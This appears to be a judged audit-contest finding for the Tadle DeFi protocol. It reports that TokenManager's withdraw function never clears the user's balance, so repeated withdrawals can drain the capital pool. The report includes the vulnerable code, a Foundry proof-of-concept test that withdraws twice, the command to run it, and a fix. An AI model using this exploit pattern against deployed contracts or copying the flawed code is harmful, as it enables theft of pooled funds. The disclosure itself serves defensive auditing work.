Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User can withdraw multiple times and Drain the Protocol

0xaman

Summary

To withdraw tokens from Tadle, users are supposed to call the withdraw function in tokenManager. However, after the withdrawal, the code fails to update the user's balance, allowing the user to potentially drain all available capital.

Vulnerability Details

To withdraw Tokens from Tadle the user will call withdraw function of token Manager contract.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
if (
IERC20(_tokenAddress).allowance(capitalPoolAddr, address(this)) == 0x0
) {
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
}
​
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

As it can be seen from above code that the user balance mapping is not updated and it will hold the same amount even after withdrawing it.

Note : The following POC assumes that the withdrawal issue is fixed as recommend in my other finding. but the Attacker can still withdraw because the approve function in CapitalPool can be called by anyone.

Add following coded POC to PreMarket.t.sol file:

function test_Withdraw_hack() external {
deal(address(tokenManager), 100 ** 18);
vm.startPrank(user);
​
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer{value: 0.0072 * 1e18}(
stock1Addr,
0.006 * 1e18,
12000
);
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
console2.log(mockUSDCToken.balanceOf(user));
​
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log(mockUSDCToken.balanceOf(user));
​
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log(mockUSDCToken.balanceOf(user));
// user can withdraw in a loop till the capitalPool had enough tokens here i just show 2 withdrawal
​
vm.stopPrank();
}
​

Run with command : forge test --mt test_Withdraw_hack -vvv.

Impact

The user is able to drain the Capital Pool Balance of given token.

Tools Used

Manual review

Recommendations

Update the balance mapping before token transfers:

@@ -141,11 +142,12 @@ contract TokenManager is
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
​
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.